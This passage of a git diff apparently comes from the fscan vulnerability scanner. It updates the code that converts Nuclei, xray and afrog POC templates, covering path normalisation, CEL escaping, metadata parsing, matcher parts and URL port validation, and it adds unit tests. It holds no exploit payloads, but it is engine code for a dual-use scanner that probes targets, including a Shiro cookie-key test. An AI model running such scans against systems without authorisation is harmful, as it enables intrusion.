"headers", "all_headers": + return "header" + case "all": + return "all" + default: + return "body" + } +} + +func escapeCELBytesLiteral(s string) string { + s = strings.ReplaceAll(s, `\`, `\\`) + return strings.ReplaceAll(s, `"`, `\"`) +} + +func escapeCELStringLiteral(s string) string { + return escapeCELBytesLiteral(s) +} + // ============= xray格式适配器 ============= // XrayPoc xray POC结构 @@ -393,7 +470,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { // 展开 request 对象为 fscan Rule fscanRule := Rules{ Method: rule.Request.Method, - Path: rule.Request.Path, + Path: normalizeNucleiPath(rule.Request.Path), Headers: rule.Request.Headers, Body: rule.Request.Body, FollowRedirects: rule.Request.FollowRedirects, @@ -426,14 +503,14 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { type AfrogPoc struct { ID string `yaml:"id"` Info struct { - Name string `yaml:"name"` - Author string `yaml:"author"` - Severity string `yaml:"severity"` - Verified bool `yaml:"verified"` - Description string `yaml:"description"` - Reference []string `yaml:"reference"` - Tags string `yaml:"tags"` - Created string `yaml:"created"` + Name string `yaml:"name"` + Author yamlStringList `yaml:"author"` + Severity string `yaml:"severity"` + Verified bool `yaml:"verified"` + Description string `yaml:"description"` + Reference yamlStringList `yaml:"reference"` + Tags string `yaml:"tags"` + Created string `yaml:"created"` } `yaml:"info"` Set map[string]interface{} `yaml:"set"` Rules map[string]XrayRule `yaml:"rules"` // 复用 xray 的 rule 结构 @@ -472,9 +549,9 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { poc := &Poc{ Name: a.GetName(), Detail: Detail{ - Author: a.Info.Author, + Author: a.Info.Author.String(), Description: a.Info.Description, - Links: a.Info.Reference, + Links: []string(a.Info.Reference), }, } @@ -499,7 +576,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { fscanRule := Rules{ Method: rule.Request.Method, - Path: rule.Request.Path, + Path: normalizeNucleiPath(rule.Request.Path), Headers: rule.Request.Headers, Body: rule.Request.Body, FollowRedirects: rule.Request.FollowRedirects, diff --git a/webscan/lib/poc_adapter_test.go b/webscan/lib/poc_adapter_test.go index 2864e8d..c6dbe68 100644 --- a/webscan/lib/poc_adapter_test.go +++ b/webscan/lib/poc_adapter_test.go @@ -3,6 +3,8 @@ package lib import ( "strings" "testing" + + "github.com/google/cel-go/common/types" ) // TestDetectPocFormat 测试POC格式检测 @@ -168,6 +170,9 @@ http: if len(poc.Rules) != 2 { t.Errorf("len(Poc.Rules) = %v, want %v", len(poc.Rules), 2) } + if poc.Rules[0].Path != "/admin" || poc.Rules[1].Path != "/api" { + t.Fatalf("Nuclei paths = %q, %q; want /admin, /api", poc.Rules[0].Path, poc.Rules[1].Path) + } if poc.Detail.Author != "pdteam" { t.Errorf("Poc.Detail.Author = %v, want %v", poc.Detail.Author, "pdteam") @@ -179,31 +184,101 @@ http: } } +func TestNormalizeNucleiPath(t *testing.T) { + tests := []struct { + in string + want string + }{ + {"{{BaseURL}}", "/"}, + {"{{BaseURL}}/admin", "/admin"}, + {"{{RootURL}}/login", "/login"}, + {" {{BaseURL}}/api?q=1 ", "/api?q=1"}, + {"/plain", "/plain"}, + } + + for _, tt := range tests { + t.Run(tt.in, func(t *testing.T) { + if got := normalizeNucleiPath(tt.in); got != tt.want { + t.Fatalf("normalizeNucleiPath(%q) = %q, want %q", tt.in, got, tt.want) + } + }) + } +} + +func TestNucleiInfoAcceptsScalarAndListMetadata(t *testing.T) { + yaml := ` +id: metadata-flex +info: + name: Metadata Flex + author: + - alice + - bob + reference: https://example.com/ref +http: + - path: + - "{{BaseURL}}" +` + + adapter, err := loadNucleiPoc([]byte(yaml)) + if err != nil { + t.Fatalf("loadNucleiPoc() error = %v", err) + } + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + if poc.Detail.Author != "alice, bob" { + t.Fatalf("Author = %q, want alice, bob", poc.Detail.Author) + } + if len(poc.Detail.Links) != 1 || poc.Detail.Links[0] != "https://example.com/ref" { + t.Fatalf("Links = %#v, want scalar reference converted to slice", poc.Detail.Links) + } +} + +func TestAfrogInfoAcceptsScalarAndListMetadata(t *testing.T) { + yaml := ` +id: afrog-metadata-flex +info: + name: Afrog Metadata Flex + author: carol + reference: + - https://example.com/a + - https://example.com/b +rules: + r0: + request: + method: GET + path: "{{BaseURL}}/panel" + expression: response.status == 200 +` + + adapter, err := loadAfrogPoc([]byte(yaml)) + if err != nil { + t.Fatalf("loadAfrogPoc() error = %v", err) + } + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + if poc.Detail.Author != "carol" { + t.Fatalf("Author = %q, want carol", poc.Detail.Author) + } + if len(poc.Detail.Links) != 2 { + t.Fatalf("Links = %#v, want two references", poc.Detail.Links) + } +} + // TestConvertNucleiMatchers 测试Nuclei matcher转换 func TestConvertNucleiMatchers(t *testing.T) { tests := []struct { name string - matchers []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - } + matchers []NucleiMatcher matchersCondition string wantContains string }{ { name: "单个word matcher", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -214,14 +289,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "单个status matcher", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "status", Status: []int{200}, @@ -232,14 +300,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "多个matcher - AND条件", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -254,14 +315,7 @@ func TestConvertNucleiMatchers(t *testing.T) { }, { name: "多个matcher - OR条件", - matchers: []struct { - Type string `yaml:"type"` - Words []string `yaml:"words"` - Status []int `yaml:"status"` - Regex []string `yaml:"regex"` - Condition string `yaml:"condition"` - Part string `yaml:"part"` - }{ + matchers: []NucleiMatcher{ { Type: "word", Words: []string{"admin"}, @@ -299,6 +353,129 @@ func TestConvertNucleiMatchers(t *testing.T) { } } +func TestConvertNucleiMatchersEscapesCELByteLiterals(t *testing.T) { + matchers := []NucleiMatcher{ + { + Type: "word", + Words: []string{`C:\Windows "System32"`}, + }, + { + Type: "regex", + Regex: []string{`admin\\d+"`}, + }, + } + + expr := convertNucleiMatchers(matchers, "and") + if !strings.Contains(expr, `C:\\Windows \"System32\"`) { + t.Fatalf("word matcher was not escaped correctly: %s", expr) + } + if !strings.Contains(expr, `admin\\\\d+\"`) { + t.Fatalf("regex matcher was not escaped correctly: %s", expr) + } + if !strings.Contains(expr, `.bmatches(response.body)`) { + t.Fatalf("regex matcher should use pattern receiver and response body argument: %s", expr) + } +} + +func TestConvertNucleiMatchersRespectsHeaderPart(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"nginx"}, + Part: "header", + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{ + Headers: map[string]string{"Server": "nginx"}, + Body: []byte("no match in body"), + }, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.True { + t.Fatalf("header matcher result = %v, want true; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersRespectsAllPart(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "regex", + Regex: []string{`JSESSIONID=\w+`}, + Part: "all", + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{ + Headers: map[string]string{"Set-Cookie": "JSESSIONID=abc123"}, + Body: []byte("no match in body"), + }, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.True { + t.Fatalf("all matcher result = %v, want true; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersRespectsNegative(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"error"}, + Negative: true, + }, + }, "") + + result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{ + "response": &Response{Body: []byte("fatal error")}, + }) + if err != nil { + t.Fatalf("Evaluate(%q) error = %v", expr, err) + } + if result != types.False { + t.Fatalf("negative matcher result = %v, want false; expr = %s", result, expr) + } +} + +func TestConvertNucleiMatchersConditionIsCaseInsensitive(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "word", + Words: []string{"alpha", "beta"}, + Condition: "OR", + }, + }, "AND") + if !strings.Contains(expr, " || ") { + t.Fatalf("matcher condition should be case-insensitive OR: %s", expr) + } + + expr = convertNucleiMatchers([]NucleiMatcher{ + {Type: "word", Words: []string{"alpha"}}, + {Type: "word", Words: []string{"beta"}}, + }, "OR") + if !strings.Contains(expr, " || ") { + t.Fatalf("matchers-condition should be case-insensitive OR: %s", expr) + } +} + +func TestConvertNucleiMatchersTypeIsCaseInsensitive(t *testing.T) { + expr := convertNucleiMatchers([]NucleiMatcher{ + { + Type: "WORD", + Words: []string{"admin"}, + }, + }, "") + if !strings.Contains(expr, `response.body.bcontains(b"admin")`) { + t.Fatalf("matcher type should be case-insensitive: %s", expr) + } +} + // contains 检查字符串是否包含子串 func contains(s, substr string) bool { return len(s) >= len(substr) && (s == substr || len(s) > len(substr) && hasSubstring(s, substr)) @@ -406,7 +583,7 @@ rules: r1: request: method: GET - path: /admin/dashboard + path: "{{BaseURL}}/admin/dashboard" headers: Cookie: "{{cookie}}" expression: response.status == 200 @@ -445,6 +622,9 @@ detail: if poc.Rules[1].Headers["Cookie"] != `{{cookie}}` { t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{cookie}}`) } + if poc.Rules[1].Path != "/admin/dashboard" { + t.Errorf("Rules[1].Path = %q, want /admin/dashboard", poc.Rules[1].Path) + } } // TestXrayNoOutput 测试 xray 没有 output 字段时 Search 为空(回归) @@ -503,7 +683,7 @@ rules: r1: request: method: GET - path: /panel + path: "{{BaseURL}}/panel" headers: Cookie: "{{sessid}}" expression: response.status == 200 && response.body.bcontains(b"admin") @@ -531,4 +711,7 @@ rules: if poc.Rules[1].Headers["Cookie"] != `{{sessid}}` { t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{sessid}}`) } + if poc.Rules[1].Path != "/panel" { + t.Errorf("Rules[1].Path = %q, want /panel", poc.Rules[1].Path) + } } diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index d55aae6..30c66b7 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -359,7 +359,7 @@ func doSearch(re string, body string) map[string]string { if len(result) > 1 && len(names) > 1 { paramsMap := make(map[string]string) for i, name := range names { - if i > 0 && i <= len(result) { + if i > 0 && i < len(result) && name != "" { // 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value if strings.HasPrefix(re, "Set-Cookie:") { paramsMap[name] = optimizeCookies(result[i]) @@ -470,7 +470,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, for comboIndex, paramCombo := range setsMap { // Shiro Key测试特殊处理:默认只测试10个key if p.Name == "poc-yaml-shiro-key" && !pocCtx.POCFull && comboIndex >= 10 { - if paramCombo[1] == "cbc" { + if shiroKeyMode(paramCombo) == "cbc" { continue } if shiroKeyCount == 0 { @@ -554,6 +554,13 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, return success, nil } +func shiroKeyMode(paramCombo []string) string { + if len(paramCombo) < 2 { + return "" + } + return paramCombo[1] +} + // applyParametersToRule 将参数应用到规则中,返回是否有替换发生和替换的参数列表 // 这是一个纯函数,不修改原始规则,而是修改传入的currentRule指针 func applyParametersToRule( diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index 3677e7f..0cb8b6e 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -425,3 +425,111 @@ func TestApplyParametersToRule(t *testing.T) { }) } } + +func TestPocExecutorPureHelpers(t *testing.T) { + t.Run("isFuzz detects placeholders", func(t *testing.T) { + sets := ListMap{{Key: "token", Value: []string{"a", "b"}}} + if !isFuzz(Rules{Headers: map[string]string{"X-Token": "{{token}}"}}, sets) { + t.Fatal("header placeholder should require fuzzing") + } + if !isFuzz(Rules{Path: "/api/{{token}}"}, sets) { + t.Fatal("path placeholder should require fuzzing") + } + if !isFuzz(Rules{Body: "token={{token}}"}, sets) { + t.Fatal("body placeholder should require fuzzing") + } + if isFuzz(Rules{Path: "/api/static"}, sets) { + t.Fatal("static rule should not require fuzzing") + } + }) + + t.Run("Combo and MakeData", func(t *testing.T) { + if got := Combo(nil); got != nil { + t.Fatalf("Combo(nil) = %#v, want nil", got) + } + one := Combo(ListMap{{Key: "user", Value: []string{"admin", "root"}}}) + if len(one) != 2 || one[0][0] != "admin" || one[1][0] != "root" { + t.Fatalf("single Combo = %#v", one) + } + combos := Combo(ListMap{ + {Key: "user", Value: []string{"admin", "root"}}, + {Key: "pass", Value: []string{"123", "456"}}, + }) + want := [][]string{{"admin", "123"}, {"root", "123"}, {"admin", "456"}, {"root", "456"}} + if !stringMatrixEqual(combos, want) { + t.Fatalf("Combo = %#v, want %#v", combos, want) + } + made := MakeData([][]string{{"b"}, {"c"}}, []string{"a"}) + if !stringMatrixEqual(made, [][]string{{"a", "b"}, {"a", "c"}}) { + t.Fatalf("MakeData = %#v", made) + } + if got := shiroKeyMode([]string{"only-key"}); got != "" { + t.Fatalf("shiroKeyMode(short combo) = %q, want empty", got) + } + if got := shiroKeyMode([]string{"key", "cbc"}); got != "cbc" { + t.Fatalf("shiroKeyMode() = %q, want cbc", got) + } + }) + + t.Run("cloneRules deep-copies headers", func(t *testing.T) { + original := Rules{ + Method: "POST", + Path: "/login", + Body: "a=b", + Search: "token", + FollowRedirects: true, + Expression: "true", + Headers: map[string]string{"X-Test": "one"}, + Continue: true, + } + cloned := cloneRules(original) + cloned.Headers["X-Test"] = "two" + if original.Headers["X-Test"] != "one" { + t.Fatalf("cloneRules should deep copy headers, original = %#v", original.Headers) + } + if cloned.Method != original.Method || cloned.Path != original.Path || !cloned.FollowRedirects || !cloned.Continue { + t.Fatalf("cloneRules lost fields: %#v", cloned) + } + if cloneMap(nil) != nil { + t.Fatal("cloneMap(nil) should return nil") + } + }) + + t.Run("doSearch and GetHeader", func(t *testing.T) { + header := GetHeader(map[string]string{"Set-Cookie": "sid=abc; Path=/; HttpOnly", "Server": "nginx"}) + if !strings.Contains(header, "Set-Cookie: sid=abc; Path=/; HttpOnly") || !strings.HasSuffix(header, "\r\n") { + t.Fatalf("GetHeader output = %q", header) + } + result := doSearch(`Set-Cookie:\s*(?P[^\n]+)`, header) + if result["cookie"] != "sid=abc" { + t.Fatalf("cookie search = %#v", result) + } + result = doSearch(`token=(\w+)&id=(?P\d+)`, "token=abc&id=42") + if result[""] != "" || result["id"] != "42" || len(result) != 1 { + t.Fatalf("unnamed groups should be skipped, got %#v", result) + } + if got := doSearch(`(?P`, "body"); got != nil { + t.Fatalf("invalid regex result = %#v, want nil", got) + } + if got := doSearch(`nomatch(?P\d+)`, "body"); got != nil { + t.Fatalf("no match result = %#v, want nil", got) + } + }) +} + +func stringMatrixEqual(a, b [][]string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if len(a[i]) != len(b[i]) { + return false + } + for j := range a[i] { + if a[i][j] != b[i][j] { + return false + } + } + } + return true +} diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 5328e3a..22b3f37 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -10,6 +10,7 @@ import ( "net/url" "os" "path/filepath" + "strconv" "strings" "sync" "time" @@ -115,6 +116,20 @@ func buildTargetURL(info *common.HostInfo) (string, error) { if err != nil { return "", fmt.Errorf("%w: %w", ErrInvalidURL, err) } + if parsedURL.Hostname() == "" { + return "", fmt.Errorf("%w: empty host", ErrInvalidURL) + } + portStr := parsedURL.Port() + if portStr == "" { + if hasMalformedWebURLPort(parsedURL.Host) { + return "", fmt.Errorf("%w: invalid port", ErrInvalidURL) + } + } else { + port, err := strconv.Atoi(portStr) + if err != nil || port < 1 || port > 65535 { + return "", fmt.Errorf("%w: invalid port %q", ErrInvalidURL, portStr) + } + } parsedURL.Host = normalizeWebURLHost(parsedURL.Host) return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil @@ -152,6 +167,14 @@ func normalizeWebURLHost(host string) string { return host } +func hasMalformedWebURLPort(host string) bool { + if strings.HasPrefix(host, "[") { + end := strings.LastIndexByte(host, ']') + return end >= 0 && len(host) > end+1 && host[end+1] == ':' + } + return strings.Contains(host, ":") +} + // scanByFingerprints 根据指纹执行POC func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { for _, fingerprint := range fingerprints { diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 584d4ed..4486e13 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -1,9 +1,11 @@ package WebScan import ( + "context" "testing" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/config" "github.com/shadow1ng/fscan/webscan/lib" ) @@ -154,6 +156,41 @@ func TestBuildTargetURL(t *testing.T) { expected: "http://[2001:db8::1]", expectError: false, }, + { + name: "empty host is rejected", + hostInfo: &common.HostInfo{ + Port: 80, + URL: "http://", + }, + expectError: true, + }, + { + name: "invalid port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:bad", + }, + expectError: true, + }, + { + name: "empty explicit port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:", + }, + expectError: true, + }, + { + name: "out of range port is rejected", + hostInfo: &common.HostInfo{ + Host: "example.com", + Port: 80, + URL: "http://example.com:70000", + }, + expectError: true, + }, } for _, tt := range tests { @@ -430,6 +467,44 @@ func TestFilterPocsNilSafety(t *testing.T) { } } +func TestCreateBaseRequestHeaders(t *testing.T) { + cfg := common.NewConfig() + cfg.HTTP.UserAgent = "fscan-test-agent" + cfg.HTTP.Accept = "application/json" + cfg.HTTP.Cookie = "sid=abc" + + req, err := createBaseRequest(context.Background(), "http://example.com/path", cfg) + if err != nil { + t.Fatalf("createBaseRequest error = %v", err) + } + if req.Method != "GET" { + t.Fatalf("method = %q, want GET", req.Method) + } + if got := req.Header.Get("User-agent"); got != "fscan-test-agent" { + t.Fatalf("User-agent = %q", got) + } + if got := req.Header.Get("Accept"); got != "application/json" { + t.Fatalf("Accept = %q", got) + } + if got := req.Header.Get("Cookie"); got != "sid=abc" { + t.Fatalf("Cookie = %q", got) + } + if got := req.Header.Get("Accept-Language"); got == "" { + t.Fatal("Accept-Language should be set") + } +} + +func TestExecutePOCsEarlyReturns(t *testing.T) { + cfg := common.NewConfig() + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + previous := allPocs + allPocs = nil + t.Cleanup(func() { allPocs = previous }) + + executePOCs(context.Background(), config.PocInfo{}, cfg, session) + executePOCs(context.Background(), config.PocInfo{Target: "http://example.com", PocName: "missing"}, cfg, session) +} + func TestDirectoryExists(t *testing.T) { tests := []struct { name string